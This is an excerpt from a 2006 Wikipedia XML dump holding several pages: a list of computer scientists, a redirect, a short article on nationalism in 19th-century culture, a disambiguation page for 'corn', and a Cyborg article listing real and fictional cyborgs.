[[Category:Audio storage]]

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    </revision>
  </page>
  <page>
    <title>List of computer scientists</title>
    <id>6834</id>
    <revision>
      <id>40362152</id>
      <timestamp>2006-02-20T01:40:26Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{listdev}}

This is a '''list of computer scientists''', people who do work in [[computer science]], in particular researchers and authors.

Some persons notable as [[programmer]]s are included here because they work in research as well as program. A few of these people pre-date the [[invention]] of the digital computer; they are now regarded as computer scientists because their work can be seen as leading to the invention of the computer. Others are mathematicians whose work falls within what would now be called theoretical computer science, such as [[computational complexity theory|complexity theory]] and [[algorithmic information theory]].

__NOTOC__
{{compactTOC}}

== A ==

* [[Hal Abelson]]
* [[Paul Abrahams]]
* [[Samson Abramsky]]
* [[Hamid Yassin Adem]]
* [[Leonard Adleman]] - [[RSA]]
* [[Manindra Agarwal]]
* [[Rajeev Agrawal]]
* [[Alfred Aho]]
* [[John R. Allen]]
* [[Gene Amdahl]]
* [[Ravi Arimilli]]
* [[John Vincent Atanasoff]]
* [[Roger Fuscablo Frondoza]]

== B ==

* [[Charles Babbage]] - Invented first mechanical computer
* [[Charles Bachman]]
* [[John Backus]] - [[FORTRAN]]
* [[Rudolf Bayer]] - [[B-tree]]
* [[Gordon Bell]] - [[Digital Equipment Corporation|DEC]] [[VAX]], ''Computer Structures''
* [[Dines Bjørner]] - [[Vienna Development Method|VDM]] and [[RAISE specification language|RAISE]]
* [[Manuel Blum]] - [[cryptography]]
* [[Ron Book]]
* [[Grady Booch]] - [[Unified Modeling Language]], [[Object Management Group]]
* [[George Boole]] - [[Boolean logic]]
* [[Jonathan Bowen]] - [[Z notation]] and [[formal methods]]
* [[Stephen R. Bourne|Steve Bourne]] - [[Bourne Shell]], portable [[ALGOL 68C]] compiler.
* [[Robert Boyer]] - string searching and [[ACL2 theorem prover]]
* [[Ivan Bratko]] - [[prolog]],[[artificial intelligence]]
* [[Jack E. Bresenham]] - early computer graphics contributions including [[Bresenham's algorithm]]
* [[Per Brinch Hansen]] (surname &quot;Brinch Hansen&quot;) - concurrency
* [[Fred Brooks]] - [[System 360]], [[OS/360]], ''[[The Mythical Man-Month]]'', ''[[No Silver Bullet]]''
* [[Rod Brooks]]
* [[Tim Budd]] - Tiny C?
* [[Alan Burns]] - Real-time Systems

== C ==

* [[Luca Cardelli]] - objects
* [[Edwin Catmull]] - [[Computer graphics]]
* [[Vint Cerf|Vinton Cerf]] - [[Internet]], [[TCP/IP]]
* [[Gregory Chaitin]]
* [[Zhou Chaochen]] - [[Duration Calculus]]
* [[Alonzo Church]] - mathematics of combinators and [[lambda calculus]]
* [[John Cocke]] - [[RISC]]
* [[Edgar F. Codd]] - formulated the [[database]] [[relational model]]
* [[Stephen Cook]] - [[NP-completeness]]
* [[James Cooley]] - [[Fast Fourier Transform|FFT]]
* [[Fernando J. Corbató]] - [[CTSS]], [[Multics]]
* [[Peter Cousins]] - [[EAI]], [[Enterprise Service Bus|ESB]]
* [[Patrick Cousot]] - [[abstract interpretation]]
* [[Seymour Cray]] - [[Cray Research]], [[supercomputer]]
* [[Dave Cutler]] - [[RSX-11]], [[OpenVMS|VMS]], [[Windows NT]]

== D ==

* [[Ole-Johan Dahl]] - [[Simula]]
* [[Christopher J. Date]] - proponent of [[database]] [[relational model]] 
* [[James Demmel]]
* [[Dorothy Denning]] - [[computer security|security]]
* [[John Denning]] - medical informatics
* [[Peter Denning]] - identified the use of an [[operating system]]'s [[working set]] and [[balance set]], President of [[Association for Computing Machinery|ACM]]
* [[Michael Dertouzos.]] - Director of the [[Massachusetts Institute of Technology|MIT]] Laboratory for Computer Science (LCS) since 1974, [[Oxygen (project)]]
* [[Alexander Dewdney]]
* [[Vinod Dham]]-The so-called father of the [[Pentium]] processor.
* [[Whitfield Diffie]] - [[Cryptography]]
* [[Edsger Dijkstra]] - [[Algorithms]] [[Goto considered harmful]] [[Semaphore (programming)]]
* [[Jack Dongarra]] - [[Linear Algebra]] [[high performance computing]]

== E ==

* [[John Presper Eckert]]
* [[Philip-Emeagwali]] - Supercomputing
* [[Douglas Engelbart]]
* [[Andrey Ershov]]
* [[Bob Evans (computer scientist)]]
* [[Christopher Evans]]
* [[Dave Evans]] - [[computer graphics]]
* [[Shimon Even]]
* [[Annie Easley|Annie C. Easley]]

== F ==

* [[Scott Fahlman]]
* [[Edward Feigenbaum]] - [[Artificial intelligence]]
* [[Michael Feldman]]
* [[Edward Felten]] - [[computer security|security]]
* [[Raphael Finkel]]
* [[Robert Floyd]] - [[NP-completeness]]
* [[Ken Forbus]]
* [[Dan Friedman]]
* [[Tim Finin]]

== G ==
*[[Bruce Gabrielson]] - Computer Security and athlete
* [[Zvi Galil]]
* [[Bernard Galler]]
* [[Hector Garcia-Molina]]
* [[Michael Garey]] - [[NP-Completeness]]
* [[Hugo de Garis]]
* [[David Gelernter]]
* [[Charles Geschke]]
* [[Kurt Gödel]] - [[Computability]]
* [[Joseph Goguen]]
* [[Adele Goldberg (computer scientist)|Adele Goldberg]] - [[Smalltalk]]
* [[Oded Goldreich]] - [[cryptography]], [[computational complexity theory]]
* [[Shafi Goldwasser]] - [[cryptography]], [[computational complexity theory]]
* [[Gene Golub]] - [[Matrix (math)]] computation
* [[James Gosling]] - [[NeWS]], [[Java programming language|Java]]
* [[Paul Graham]]
* [[Susan Graham]] - [[Compilers]], [[Programming environments]]
* [[Jim Gray]] - [[Database]]
* [[Bill Griswold]] - [[Software engineering]]
* [[Ralph Griswold]] - [[Snobol string processing languages]]
* [[Barbara Grosz]]

== H ==

* [[Philipp Matthäus Hahn]]
* [[Joseph Halpern]]
* Per Brinch Hansen (listed under B by surname, &quot;Brinch Hansen&quot;) 
* [[Juris Hartmanis]] - [[computational complexity theory]]
* [[Johan Håstad]] - [[computational complexity theory]]
* [[Martin Hellman]]
* [[John L. Hennessy]] - [[Computer architecture]]
* [[Danny Hillis]] - [[Connection Machine]]
* [[Geoffrey Hinton]]
* [[C. A. R. Hoare]] - [[Logic]], rigor, [[Communicating sequential processes|CSP]]
* [[Stephen Hodges]]
* [[Hermann Hollerith]]
* [[Douglas Hofstadter]] - wrote [[Gödel, Escher, Bach]], [[Artificial intelligence]]
* [[Herman Hollerith]] - Developed the first [[punch card]] machines for a forerunner of [[IBM]]
* [[John Hopcroft]] - [[Compilers]]
* Admiral [[Grace Hopper]] - [[Compiler]]s, [[COBOL]]
* [[Berthold K.P. Horn]]
* [[Ellis Horowitz]]
* [[Alston Householder]]
* [[Paul Hudak]]
* [[David A. Huffman]] - [[Huffman code]]

== I ==

* [[Jean Ichbiah]] - [[Ada programming language]]
* [[Kenneth Iverson]] - [[APL programming language|APL]]

== J ==

* [[Ivar Jacobson]] - [[Unified Modeling Language]], [[Object Management Group]]
* [[Ramesh Jain]]
* [[Jonathan James]]
* [[David B. Johnson]]
* [[David S. Johnson]]
* [[Stephen C. Johnson]]
* [[Cliff Jones]] - [[Vienna Development Method|VDM]]
* [[Michael I. Jordan]]
* [[Bill Joy]] - [[Sun Microsystems]], [[Berkeley Software Distribution|BSD]] UNIX, [[vi]], [[csh]]

== K ==

* [[William Kahan]]
* [[Robert E. Kahn]] - [[TCP/IP]]
* [[Avinash Kak]]
* [[Alan Kay]] - [[Dynabook]], [[Smalltalk]]
* [[Richard Karp]] - [[NP-complete|NP completeness]]
* [[Narendra Karmarkar]] - [[Karmarkar's algorithm]]
* [[Jacek Karpinski]]
* [[Marek Karpinski]] - [http://www.nada.kth.se/~viggo/problemlist/compendium.html NP Optimization Problems]
* [[Ken Kennedy]] - Compiling for parallel and vector machines
* [[Brian Kernighan]] - [[Unix]]
* [[Donald Knuth]] - [[The Art of Computer Programming]], [[TeX]], [[Literate programming]]
* [[Andrew Koenig]] - [[C++]]
* [[John Koza]] - [[Genetic programming]]
* [[Andrey Nikolaevich Kolmogorov]]
* [[Robert Kowalski]]
* [[Thomas E. Kurtz]] - [[BASIC programming language|BASIC]]

== L ==

* [[Monica Lam]]
* [[Leslie Lamport]] - [[Algorithms]] for concurrency
* [[Butler W. Lampson]]
* [[Peter J. Landin]]
* [[Joshua Lederberg]]
* [[Douglas Lenat]] - [[Artificial intelligence]], [[Cyc]]
* [[Hector Levesque]]
* [[Leonid Levin]] - [[computational complexity theory]]
* [[Michael Ley]] - [[DBLP]]
* [[J.C.R. Licklider]]
* [[David Liddle]]
* [[Barbara Liskov]] - [[Programming languages]]
* [[Ada Lovelace]] - first programmer
* [[Nancy Lynch]]

== M ==

* [[Zohar Manna]] - [[Fuzzy logic]]
* [[John Mashey]]
* [[John McCarthy (computer scientist)|John McCarthy]] - [[Lisp programming language]], [[Artificial intelligence]]
* [[Douglas McIlroy]] - pipes
* [[Chris McKinstry]] - [[Artificial intelligence]], [[Mindpixel]]
* [[Marshall Kirk McKusick]] - [[BSD]], [[Berkeley Fast File System]]
* [[Jose Meseguer]]
* [[Bertrand Meyer]] - [[Eiffel programming language|Eiffel]]
* [[Silvio Micali]] - [[cryptography]]
* [[Robin Milner]] - [[ML programming language|ML]]
* [[Marvin Minsky]] - [[Artificial intelligence]], [[perceptron]]s, [[Society of Mind]]
* [[Paul Mockapetris|Dr. Paul Mockapetris]] - [[Domain Name System|Domain Name System (DNS)]]
* [[Cleve Moler]] - [[numerical analysis]] and [[MATLAB]]
* [[J Strother Moore]] - string searching and [[ACL2 theorem prover]]
* [[Hans Moravec]]
* [[Joel Moses]] - [[Macsyma]]
* [[Stephen Muggleton]]

== N ==

* [[Peter Naur]] - [[Backus-Naur form|BNF]], [[Algol 60]]
* [[Mihai Nadin]] - Anticipation Research
* [[Frieder Nake]] - Pioneer in Computer Arts
* [[Roger Needham]]
* [[John von Neumann]] - Early computers, [[von Neumann machine]]
* [[Allen Newell]] - [[Artificial intelligence]] ''Computer Structures''
* [[Nils Nilsson]] - [[Artificial intelligence]]
* [[Emmy Noether]]
* [[Arthur Norman]]
* [[Donald Norman]] - [[User interfaces]] and [[Usability]]
* [[Kristen Nygaard]] - [[Simula]]

== O ==

* [[John K. Ousterhout]] - [[Tcl]]

== P ==

* [[Christos Papadimitriou]]
* [[David A. Patterson|David Patterson]]
* [[Judea Pearl]] - [[Artificial intelligence]], [[Search]]
* [[Shoayb Peerbocus]]
* [[Alan Perlis]] - [[Programming Pearls]]
* [[Simon Peyton-Jones]] - [[Functional programming]]
* [[Gordon Plotkin]]
* [[Amir Pnueli]] - [[temporal logic]]
* [[Hayden Porter]]
* [[Emil Post]] - mathematics
* [[Jon Postel]] - Internet
* [[Edmond Prakash]] - Voxelization and Voxel Animation
* [[Terry Pratt]]
* [[Franco Preparata]]

== Q ==

== R ==

* [[Michael O. Rabin]]
* [[Brian Randell]] - [[dependability]]
* [[Timothy W. Rauenbusch]] - AI
* [[Raj Reddy]] - AI
* [[John C. Reynolds]]
* [[Joyce K. Reynolds]] - [[Internet]]
* [[Adam Riese]]
* [[Dennis Ritchie]] - [[C programming language|C]], [[Unix|UNIX]]
* [[Ron Rivest]] - [[RSA]]
* [[Saul Rosen]]
* [[Azriel Rosenfeld]]
* [[Lawrence A. Rowe]]
* [[Rudy Rucker]] - Writer, Educator
* [[Jeff Rulifson]]
* [[James Rumbaugh]] - [[Unified Modeling Language]], [[Object Management Group]]

== S ==

* [[Jean E. Sammet]] - [[Programming languages]]
* [[Wilhelm Schickard]]
* [[Doug Schmidt]]
* [[Norm Schryer]]
* [[Dana Scott]] - [[domain theory]]
* [[Ravi Sethi]] - [[Compilers]], 2nd [[Dragon Book]]
* [[Adi Shamir]] - [[RSA]]
* [[Claude Shannon]] - information theory
* [[Herbert Simon]] - AI
* [[Mike Sipser]] - [[computational complexity theory]]
* [[Daniel Sleator]] - [[Splay tree]]
* [[Robert Sproull]]
* [[Richard Stallman]]
* [[Richard Stearns]] - [[computational complexity theory]]
* [[Guy L. Steele, Jr.]] - [[Scheme programming language|Scheme]], [[Common Lisp]]
* [[Christopher Strachey]] - [[denotational semantics]]
* [[Michael Stonebraker]] - [[database practice and theory]]
* [[Bjarne Stroustrup]] - [[C++]]
* [[Madhu Sudan]] - [[computational complexity theory]], [[coding theory]]
* [[Gerald Jay Sussman]] - [[Scheme programming language|Scheme]]
* [[Ivan Sutherland]] - [[Graphics]]
* [[Richard Sweet]]
* [[Dan Swinehart]]

== T ==

* [[Andrew S. Tanenbaum]] - Operating systems, Minix
* [[Robert Tarjan]] - splay tree
* [[Demetri Terzopoulos]]
* [[Larry Tesler]] - human-computer interaction, graphical user interface, Apple Macintosh
* [[Avie Tevanian]] - Mach kernel team, NeXT, Mac OS X
* [[Ken Thompson]] - Unix
* [[Walter F. Tichy]] - RCS
* [[Linus Torvalds]] - Linux
* [[Joseph Traub]]
* [[John Tukey]] - FFT
* [[Alan Turing]] - British pioneer

== U ==

* [[Jeffrey D. Ullman]] - Compilers, databases, Complexity theory

== V ==

* [[Salil Vadhan]] - [[computational complexity theory]], [[cryptography]]
* [[Leslie Valiant]] - [[computational complexity theory]], [[computational learning theory]]
* [[Vernor Vinge]] - Science fiction writer
* [[Srinidhi Varadarajan]] - VirginiaTech's [[Power Mac G5]] Supercluster

== W ==

* [[Philip Wadler]] - [[Functional programming]]
* [[David Wagner]] - [[Cryptography]]
* [[Jan Weglarz]]
* [[Peter Wegner]]
* [[Joseph Weizenbaum]] - [[Artificial_intelligence|AI]], [[ELIZA]]
* [[Richard Wexelblat]] - [[Programming languages]]
* [[Adriaan van Wijngaarden]] - Dutch pioneer; [[ARRA]], [[ALGOL]]
* [[David S. Wile]]
* [[Maurice Vincent Wilkes]] - Microprogramming, [[EDSAC]]
* [[James H. Wilkinson]] - [[Numerical analysis]]
* [[Sophie Wilson]]
* [[Shmuel Winograd]] - [[Coppersmith-Winograd algorithm]]
* [[Terry Winograd]] - [[Artificial_intelligence|AI]], [[SHRDLU]]
* [[Allen Wirfs-Brock]] - [[Smalltalk]]
* [[Niklaus Wirth]] - [[Pascal]], [[Modula]], and [[Oberon programming language|Oberon]] languages
* [[Stephen Wolfram]] - [[Mathematica]]
* [[Larry Wos]] - Resolution theorem proving
* [[William Wulf]] - [[Compilers]], President of [[National Academy of Engineering]]

== X ==

== Y ==
* [[Tao Yang(I)|Tao Yang]]
* [[Mihalis Yannakakis]]
* [[Andrew Chi-Chih Yao]]

== Z ==

* [[Lofti Zadeh]] - Fuzzy logic
* [[Egon Zakrajsek|Egon Zakraj&amp;#353;ek]] - Slovenian pioneer
* [[Konrad Zuse]] - German pioneer of hardware and software

== See also ==
* [[List of programmers]]
* [[List of important publications in computer science]]
* [[List of computing people]]

==External links==
*[http://citeseer.nj.nec.com/mostcited.html Most cited authors in computer science]

[[Category:Lists of people by occupation|Computer scientists]]
[[Category:Lists of scientists|Computer Scientists]]
[[Category:Computer scientists|*Computer scientists]]

&lt;!--[[en:List of computer scientists]]--&gt;
[[bn:&amp;#2453;&amp;#2478;&amp;#2509;&amp;#2474;&amp;#2495;&amp;#2441;&amp;#2463;&amp;#2494;&amp;#2480; &amp;#2476;&amp;#2495;&amp;#2460;&amp;#2509;&amp;#2462;&amp;#2494;&amp;#2472;&amp;#2496; &amp;#2468;&amp;#2494;&amp;#2482;&amp;#2495;&amp;#2453;&amp;#2494;]]
[[es:Lista de científicos de la Computación]]
[[fa:&amp;#1601;&amp;#1607;&amp;#1585;&amp;#1587;&amp;#1578; &amp;#1662;&amp;#1740;&amp;#1588;&amp;#1711;&amp;#1575;&amp;#1605;&amp;#1575;&amp;#1606; &amp;#1583;&amp;#1575;&amp;#1606;&amp;#1588; &amp;#1585;&amp;#1575;&amp;#1740;&amp;#1575;&amp;#1606;&amp;#1607;]]
[[zh:&amp;#35745;&amp;#31639;&amp;#26426;&amp;#31185;&amp;#23398;&amp;#23478;]]</text>
    </revision>
  </page>
  <page>
    <title>Coracinus capensis</title>
    <id>6835</id>
    <revision>
      <id>15904950</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Black bream]]

</text>
    </revision>
  </page>
  <page>
    <title>Cultural production and nationalism</title>
    <id>6836</id>
    <revision>
      <id>42091034</id>
      <timestamp>2006-03-03T19:42:54Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>converting HTML to wiki markup using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">Literature, visual arts, music, and scholarship have complex relationships with ideological forces.  

===The 19th Century===
In the [[19th century]] [[nationalism]] was an especially potent influence on all of these fields.  To summarize, every established national group used cultural productions to assert and strengthen a sense of national unity and destiny; less politically consolidated groups, especially those pursuing the goal of nationhood, used them in the same ways, though often with a note of determination that makes them easier to see from our contemporary point of reference.

Natural admiration for excellence and justifiable pride in a predecessor's achievements is sometimes difficult to sort out from other intentions.  [[Dante Alighieri|Dante]] was a great poet, the Societa Dantesca Italiana did great work in editing and publishing a usable and affordable text, but the ''Divine Comedy'' was certainly used by the newly unified Italian government (see [[History of Italy]]) to encourage a more homogeneous, Tuscan-influenced dialect for the whole peninsula (see [[Italian language]]).  

===Literature===
:the [[Kalevala]]
:[[Ossian]]
:[[Dante Alighieri|Dante]]
:folklore collections
:the [[Brothers Grimm]]

===Visual Arts===
:the [[Nazarene]] movement
:[[Gothic revival]]
:art history and nationalism

===Music===
:[[Richard Wagner]]

===The Academy===
This relationship between ideology and serious work is particularly ambiguous in the academic fields of historical importance.  Much as 19th century science is often treated as the inventor of conceptions of evolution and [[race]] which had serious negative political and social consequences, many 19th century historians pursued what they intended as reasonably objective research projects in the history of their own and other regions either to end by themselves using the results to support nationalistic goals or to see their work used that way by others. 

More politically consolidated nations sponsored historical research projects which produced results of permanent value - such as the ''[[Monumenta Gemaniae Historica]]'' (&quot;Monuments of German History&quot;) project.  The ''MGH'' is a vast series (it runs to hundreds of volumes and is still publishing) of edited primary source material essential for scholarly work on late Antiquity and the Middle Ages.  However, the term &quot;German&quot; in the title was interpreted in the broadest possible sense, and its initial royal patronage made the connection clear between a perceived '''unity''' of Germanness in history and 19th century Germanness.

==See also==
*[[Romantic nationalism]]

[[Category:Nationalism]]</text>
    </revision>
  </page>
  <page>
    <title>Corn</title>
    <id>6837</id>
    <revision>
      <id>41972831</id>
      <timestamp>2006-03-02T23:45:13Z</timestamp>
      <contributor>
        <username>Shanes</username>
        <id>94147</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.77.245.27|68.77.245.27]] ([[User talk:68.77.245.27|talk]]) to last version by Naconkantari</comment>
      <text xml:space="preserve">[[Image:cornheap.jpg|right|300px|thumb| De-husked corn ]]


'''Corn''' is a term that originally referred to the kernel of any grain — that is, a fruit of a plant in the Grass Family ([[Poaceae]]), such as [[barleycorn]]. In various English-speaking countries, the term is generally used for a particular grain.

* In most Commonwealth countries, '''corn''' usually refers to any [[cereal]], including, but not limited to [[maize]]. In the UK, corn is largely synonymous with [[wheat]] although [[sweetcorn]] may be called corn. A cornfield could be a field of wheat, rye, oats or another grain.
* In the U.S., Canada, and Australia, '''corn''' usually refers to the cereal otherwise known as Indian Corn or [[maize]].

'''Corn''' can also mean:
* A type of [[callus]]
* A grain of any material, not specifically a cereal, as in [[corned beef]], referring to &quot;corns&quot; of [[salt]]
* A type of [[snow]]

==Places==
* [[Corn, Oklahoma]]
* [[Corn, Lot]], a [[commune in France|commune]] in [[France]]

==See also==
* [[Korn (disambiguation)|Korn]]

{{disambig}}

[[de:Korn]]
[[ru:Зерно]]</text>
    </revision>
  </page>
  <page>
    <title>Cyborg</title>
    <id>6838</id>
    <revision>
      <id>42044461</id>
      <timestamp>2006-03-03T12:18:19Z</timestamp>
      <contributor>
        <ip>193.129.184.12</ip>
      </contributor>
      <comment>/* Overview */</comment>
      <text xml:space="preserve">[[Image:7of9.jpg|right|thumb|[[Seven of Nine|7 of 9]], a [[Borg]] in ''[[Star Trek: Voyager]]'']]
The term '''cyborg''', a [[portmanteau]] of ''[[cybernetic]] [[organism]]'', is used to designate an organism which is a mixture of [[life|organic]] and mechanical ([[synthetic]]) parts.  Generally, the aim is to add to or enhance the abilities of an [[organism]] by using [[technology]].  

==Overview==
The concept of a man-machine mixture was widespread in [[science fiction]] before World War II. [[Edmond Hamilton]] presented space explorers with a mixture of organic and machine parts  in his novel &quot;The Comet Doom&quot; in 1928.  He later featured the talking, living [[brain]] of an old scientist, Simon Wright, floating around in a transparent case, in all the adventures of his famous hero, [[Captain Future]].   In the short story &quot;No Woman Born&quot; in 1944, [[C. L. Moore]] wrote of Deirdre, a dancer, whose body was burned completely and whose brain was placed in a faceless but beautiful and supple mechanical body.

The term was created by [[Manfred Clynes|Manfred E. Clynes]] and [[Nathan S. Kline]] in 1960 to refer to their conception of an enhanced [[human]] being who could survive in [[extraterrestrial]] environments. Their concept was the outcome of thinking about the need for an intimate relationship between human and machine as the new frontier of [[space exploration]] was beginning to take place. A designer of [[physiology|physiological]] instrumentation and electronic data-processing systems, Clynes was the chief research scientist in the Dynamic Simulation Laboratory at Rockland State Hospital in [[New York]].

According to some definitions of the term, the [[Metaphysics|metaphysical]] and physical attachments [[humanity]] has with even the most basic technologies have already made us cyborgs. In a typical example, a human fitted with a heart [[pacemaker]] or an [[insulin pump]] (If the person has [[diabetes]]) might be considered a cyborg, since s/he is incapable of surviving without the mechanical part.  As a more extreme example, [[clothing]] can be seen as a cybernetic modification of [[skin]]; enabling us to survive in drastically different environments by constructing things that aren't naturally existing in those environments.  A notepad can be seen as rudimentary [[memory augmentation]]. Indeed, our neurology is extensively modified during the process of learning skills in the operation of machinery (such as the reflexes developed in learning, and continuing, to drive a motor vehicle).  The boundary blurs even more when controlled [[fire]] or [[agriculture]] are thought of as modifications to our digestion processes. (See &quot;Beyond the Body,&quot; below.) This is not a common use of &quot;cyborg&quot; in science fiction, but it is an accepted use in [[cybernetics|cybernetic]] systems theory.

In the [[feminism|feminist]] thinking of [[Donna Haraway]] the cyborg becomes a starting metaphor for exploring ways of breaking down the nature/culture binary.  She demonstrates how the desire to separate these two aspects of the world is becoming increasingly difficult and attempts to utilise this confusion of borders in order to create new ways of acting politically. This line of thought is known as [[cyborg theory]].

The term '''fyborg''' (a portmanteau of &quot;functional&quot; and &quot;cyborg&quot;) was coined by [[Alexander Chislenko]] to differentiate between the cyborgs of [[science fiction]] and the everyday ways humans extend themselves using technologies such as contact lenses, hearing aids, and mobile phones.

James Litten  coined the term '''cyborgation''' to describe the action or process of becoming a cyborg, although nowadays it is common to see '''cyborgization'''.

The [[1972]] [[science fiction]] novel ''Cyborg'', by [[Martin Caidin]], told the story of a man whose damaged body parts are replaced by mechanical devices. This novel was later adapted into a [[Television program|TV series]], ''[[The Six Million Dollar Man]]'', in 1973.

A book titled ''Cyborg: Digital destiny and human possibility in the age of the wearable [[computer]]'' was published by [[Doubleday]] in 2001.  Some of the ideas in the book were incorporated into the 35mm motion picture film ''[[Cyberman (movie)|Cyberman]]''.

[[Isaac Asimov]]'s short story &quot;[[The Bicentennial Man]]&quot; explored cybernetic concepts. The central character is NDR, a robot who begins to modify himself with [[organic compound|organic]] components. His explorations lead to breakthroughs in human [[medicine]] via artificial [[organ (anatomy)|organ]]s and [[prosthesis|prosthetics]]. By the end of the story, there is little physical difference between the body of the hero, now called Andrew, and humans equipped with advanced prosthetics, save for the presence of Andrew's artificial positronic brain.  Asimov also explored the idea of the cyborg in relation to robots in his short story &quot;Segregationist&quot;, collected in [[The Complete Robot]].

Today, the [[C-LEG]] system is used to replace [[human leg]]s that were amputated because of injury or illness. The use of sensors in the artificial leg aids in walking significantly. These are the first real steps towards the next generation of cyborgs.

== Cybernetic organism, beyond an individual ==
Generally, the term &quot;cyborg&quot; is used to refer to a man or woman with [[bionics|bionic]], or robotic, [[prosthesis|implants]].

More broadly, the full term &quot;'''cybernetic organism''',&quot; is used to describe larger [[cybernetics|networks of communication and control.]] For example, [[city|cities,]] networks of roads, networks of software, corporations, markets, governments, and the collection of these things together. A corporation can be considered an artificial intelligence that makes use of replaceable human components to function. People at all ranks can be considered replaceable agents of their functionally intelligent government institutions, whether such a view is desirable or not.

The prefix &quot;cyber&quot; is also used to address human-''technology'' mixtures in the abstract- this can include things that aren't normally considered to be technology. Pen and paper, for example, as well as [[speech]], [[language]]. Augmented with these technologies, and connected in communication with people in other times and places, a person becomes capable of much more than they were before. This is like computers, which gain power by using [[Internet]] protocols to connect with other computers. Cybernetic technologies include highways, pipes, electrical wiring, buildings, electrical plants, libraries, and other infrastructure that we hardly notice, but which are critical parts of the [[cybernetics]] that we work within.

==Examples==
===Non-fiction===
*[[Jesse Sullivan]]
*[[Steve Mann]]
*[[Kevin Warwick]]
*[[Michael Chorost]]

===Fiction=== 
Most works in the [[cyberpunk]] genre include [[cyborg]]s.

&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt;
* From [[the Bionic series]]
**[[Steve Austin (fictional character)|Steve Austin]], ''[[The Six Million Dollar Man]] ''
**Jaime Sommers, ''[[The Bionic Woman]]''
**Andy Sheffield, ''The Bionic Boy''
**Barney Miller, ''[[The Bionic series]] '', the Seven Million Dollar Man.
**Michael Austin, ''The Return of the Six-Million-Dollar Man and the Bionic Woman''
**Kate Mason, ''Bionic Showdown: The Six Million Dollar Man and the Bionic Woman''
**Allan Devlin, ''Bionic Showdown: The Six Million Dollar Man and the Bionic Woman''
**Maximillian, the bionic superdog
*[[Aliens vs. Predator (computer game)|Xenoborg]], ''[[Aliens vs. Predator (computer game)|Aliens vs. Predator]]''
*The [[Borg]], [[Star Trek]] 
*[[Cyberman]], [[Doctor Who]]
*[[Cyborg (comics)|Cyborg]], [[DC Universe|DC comics]]
*[[Gray Fox (Metal Gear)|Gray Fox (Cyborg Ninja)]], [[Metal Gear Solid]]
*[[Dalek]]s, [[Doctor Who]]
*Del Spooner, from the movie ''[[I, Robot (film)|I, Robot]]''
*[[Digit (Cyberchase)|Digit]] and [[The Hacker (Cyberchase)|The Hacker]], in the math mystery cartoon ''[[Cyberchase]]''
*[[Edward Elric]], from [[Fullmetal Alchemist]]
*[[The Terminator]] models, in related movies{{ref|1}}
*various characters in [[The Matrix]] trilogy of movies
*various characters in [[Star Wars]] saga, notably [[Darth Vader]], [[Luke Skywalker]], [[General Grievous]], [[Darth Malak]], [[Admiral Screed]], [[Grand Moff Trachta]], and [[List of minor Rebel characters in Star Wars#Lobot|Lobot]]
*[[RoboCop]], movie 
*[[Robo-Manus]], [[Battletoads]] video game series.
*[[Jean-Luc Picard|Capt. Picard]] and [[Geordi La Forge|Lt. Cmdr. La Forge]] from ''[[Star Trek: The Next Generation]]'' and later movies, [[human]]s with a [[prosthesis|prosthetic]] [[heart]] and [[eyes]], respectively
*[[Technomage]]s, from the [[Babylon 5]] universe, employing a high degree of &quot;organic [[technology]]&quot;
*[[Deathlok]], the Demolisher, [[Marvel Universe|Marvel Comics]]
*[[Alan Gabriel]], [[Big O]]
*[[Habermen]],[[Scanners]], Instrumentality &amp; Rediscovery of Man Short Stories by [[Cordwainer Smith]]
*[[Kroenen]], from the ''[[Hellboy]]'' movie
*Supremor, the [[Kree]] Supreme Intelligence, [[Marvel Universe|Marvel Comics]]
&lt;td valign=top&gt;
*[[Motoko Kusanagi]], among others, ''[[Ghost in the Shell]]'' [[manga]] and [[anime]]
*[[Master Chief (Halo)|Master Chief]], ''[[Halo (video game series)|Halo]]'' videogame series
*[[Metabarons]], comics
*[[Sergei Molotov|Cyborg Molotov]], ''[[Empire Earth]]'' computer game
*[[Molly Ryan]], Empire Earth
*[[Ziggurat 8]], ''[[Xenosaga]]'' videogames
*Angus Thermopyle, [[The Gap Cycle]]
*[[Mechanikat]], [[Krypto the Superdog]]
*[[Joe Shimamura]], [[Cyborg 009]] 
*Antoine, Suspected Cyborg [[Upright Citizens Brigade]]
*The Hacker and the Soldier, respective protagonists of the computer games ''[[System Shock]]'' and ''[[System Shock 2]]'', and several types of enemy
*[[Deus Ex characters#JC Denton|JC Denton]] among others, ''[[Deus Ex]]'' computer game
*The [[Strogg]], ''[[Quake II]]'' and ''[[Quake 4]]'' computer games
*Cyborgs, [[Cyberchase]] cartoon
*[[List of enemies in Doom#Cyberdemon|Cyberdemon]]s, boss enemies in the ''[[Doom]]'' series of first person shooter games
*Psychotron, a part human, part computer killing machine from [[Megadeth]]'s song ''Psychotron''
*The Trans-Human arm of the [[Combine (Half-Life 2)|Combine]], from ''[[Half-Life 2]]''
*[[Adam (Buffyverse)|Adam]] and the Frankendemons, the horrific human/demon/machine hybrids from [[Buffy the Vampire Slayer]] Season 4
*Haberman and Scanners from &quot;[[Scanners Live in Vain]]&quot; by [[Cordwainer Smith]]
*Kiryu, aka [[Mechagodzilla]] 3
*[[Bunnie Rabbot]], in the [[Sonic the Hedgehog]] [[Sonic the Hedgehog (TV series)|SatAM TV series]] and [[Sonic the Hedgehog (Archie)|US comic books]]
*[[Emerl]], ''[[Sonic Battle]]'' videogame
*Vast numbers of individuals from the [[Warhammer 40,000]] universe, given &quot;[[bionic]]s&quot; as replacements for body parts lost to injury or age or merely for enhancement
&lt;/tr&gt;&lt;/td&gt;&lt;/table&gt;
*[[Dr.crygor]] from [[Wario Ware Inc.]]
*The [[Irkens]] from the nicktoon ''[[Invader Zim]]''
*[[Brotherhood of Nod|Nod]]'s Cyborg unit, [[Command &amp; Conquer: Tiberian Sun]]
*Xan Kriegor and a number of playable characters, [[Unreal Tournament]]
*Simulants from [[Red Dwarf]]
*[[Spartan (comics)|Spartan]] [[Wildstorm|WildStorm Comics]]

==See also==
*[[Android]]
*[[Cybernetics]]
